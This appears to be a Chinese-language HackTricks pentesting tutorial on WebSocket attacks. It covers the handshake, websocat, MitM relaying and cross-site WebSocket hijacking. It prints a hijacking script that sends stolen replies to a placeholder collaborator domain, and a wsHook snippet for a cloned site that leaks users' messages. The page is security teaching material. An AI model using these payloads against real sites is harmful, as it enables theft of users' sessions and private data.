hacktricks/pentesting-web/websocket-attacks.md

11 KiB
Raw Blame History

WebSocket 攻击

从零到英雄学习 AWS 黑客攻击 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

什么是 WebSockets

WebSocket 连接是通过 HTTP 发起的,通常是长期存在的。消息可以在任何时间双向发送,并且不是事务性的。连接通常会保持打开和空闲状态,直到客户端或服务器准备发送消息。
WebSockets 在需要低延迟或服务器发起消息的情况下特别有用,例如金融数据的实时提供。

WebSocket 连接是如何建立的?

(这里您将找到一个总结,但关于如何创建 web socket 连接的更详细指南可以在这里找到)。
WebSocket 连接通常使用类似以下的客户端 JavaScript 创建:

var ws = new WebSocket("wss://normal-website.com/ws");

wss 协议通过加密的 TLS 连接建立 WebSocketws 协议使用未加密的连接。

为了建立连接,浏览器和服务器通过 HTTP 执行 WebSocket 握手。浏览器发出类似以下的 WebSocket 握手请求:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

如果服务器接受连接它会返回如下的WebSocket握手响应

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

在这一点上网络连接保持打开状态并且可以用来在任一方向发送WebSocket消息。

注意

WebSocket 握手消息的几个特点值得注意:

  • 请求和响应中的 ConnectionUpgrade 头部表明这是一个WebSocket握手
  • Sec-WebSocket-Version 请求头指定客户端希望使用的WebSocket协议版本。通常是 13
  • Sec-WebSocket-Key 请求头包含一个Base64编码的随机值,每个握手请求中应该随机生成。
  • Sec-WebSocket-Accept 响应头包含一个哈希值,该值是将 Sec-WebSocket-Key 请求头中提交的值与协议规范中定义的特定字符串连接后得到的。这样做是为了防止由于服务器配置错误或缓存代理而产生的误导性响应。

Sec-WebSocket-Key 头部包含一个随机值,以防止来自缓存代理的错误,并且不用于认证或会话处理目的它不是CSRF令牌)。

Linux控制台

你可以使用 websocat 来建立与websocket的原始连接。

websocat --insecure wss://10.10.10.10:8000 -v

或者创建一个 websocat 服务器:

websocat -s 0.0.0.0:8000 #Listen in port 8000

中间人攻击websocket连接

如果你发现客户端正在你当前的本地网络中连接到一个HTTP websocket,你可以尝试一个ARP Spoofing Attack来执行客户端和服务器之间的MitM攻击。
一旦客户端尝试连接,你可以使用:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets 枚举

您可以使用工具 https://github.com/PalindromeLabs/STEWS 自动发现、指纹识别并搜索 websockets 中的已知漏洞。

Websocket 调试工具

  • Burp Suite 支持 MitM websockets 通信,其方式与常规 HTTP 通信非常相似。
  • socketsleuth Burp Suite 扩展将允许您通过获取历史记录、设置拦截规则、使用匹配和替换规则、使用IntruderAutoRepeater 更好地管理 Burp 中的 Websocket 通信。
  • WSSiP:简称 "WebSocket/Socket.io 代理",这个基于 Node.js 的工具提供了一个用户界面,用于捕获、拦截、发送自定义消息并查看客户端和服务器之间所有 WebSocket 和 Socket.IO 通信。
  • wsrepl 是一个为渗透测试专门设计的交互式 websocket REPL。它提供了一个界面,用于观察传入的 websocket 消息并发送新消息,并提供了一个易于使用的框架来自动化这种通信。
  • https://websocketking.com/ 是一个网页,用于使用websockets与其他网页通信。
  • https://hoppscotch.io/realtime/websocket 在其他类型的通信/协议中,它提供了一个网页,用于使用websockets与其他网页通信。

Websocket 实验室

Burp-Suite-Extender-Montoya-Course 中,您有一个代码可以启动一个使用 websockets 的网页,在这篇文章中可以找到解释。

跨站 WebSocket 劫持 (CSWSH)

也称为 跨源 WebSocket 劫持
它是 跨站请求伪造 (CSRF) 在 WebSocket 握手上的应用。

WebSocket 握手请求仅依赖HTTP cookies进行会话处理并不包含任何 CSRF 令牌或其他不可预测的值时,就会出现这种情况。
攻击者可以在他们自己的域上创建一个恶意网页,该网页建立跨站 WebSocket连接到易受攻击的应用程序。应用程序将在受害用户与应用程序的会话上下文中处理连接。

简单攻击

请注意,在建立一个websocket连接时,cookie会被发送到服务器。服务器可能会使用它来关联每个特定用户与他的websocket会话,基于发送的 cookie。

然后,如果例如 websocket 服务器在收到 "READY" 消息时发送回用户的对话历史,那么一个简单的 XSS 建立连接(cookie 将会自动发送以授权受害用户)发送 "READY" 将能够检索对话的历史记录

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

在这篇博客文章 https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ 中,攻击者成功地在子域中执行任意 Javascript,该子域属于正在进行 web socket 通信的域。因为它是一个子域cookie发送了,由于Websocket 没有正确检查 Origin,因此可以与之通信并窃取其中的 tokens

从用户处窃取数据

复制你想要冒充的 web 应用程序(例如 .html 文件),并在发生 websocket 通信的脚本中添加以下代码:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

现在从 https://github.com/skepticfx/wshook 下载 wsHook.js 文件,并将其保存在包含网页文件的文件夹内
通过暴露网络应用程序并使用户连接到它您将能够通过websocket窃取发送和接收的消息

sudo python3 -m http.server 80

竞态条件

WebSockets 中的竞态条件也是一个问题,查看此信息以了解更多

其他漏洞

由于 Web Sockets 是一种向服务器端和客户端发送数据的机制,根据服务器和客户端处理信息的方式,Web Sockets 可以被用来利用 XSS、SQLi 或任何其他常见的 web 漏洞,使用 websocket 的用户输入。

WebSocket Smuggling

这个漏洞可能允许你绕过反向代理的限制,让它们相信已经建立了 websocket 通信(即使这不是真的)。这可能允许攻击者访问隐藏的端点。更多信息请查看以下页面:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

参考资料

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

从零到英雄学习 AWS 黑客攻击,通过 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式: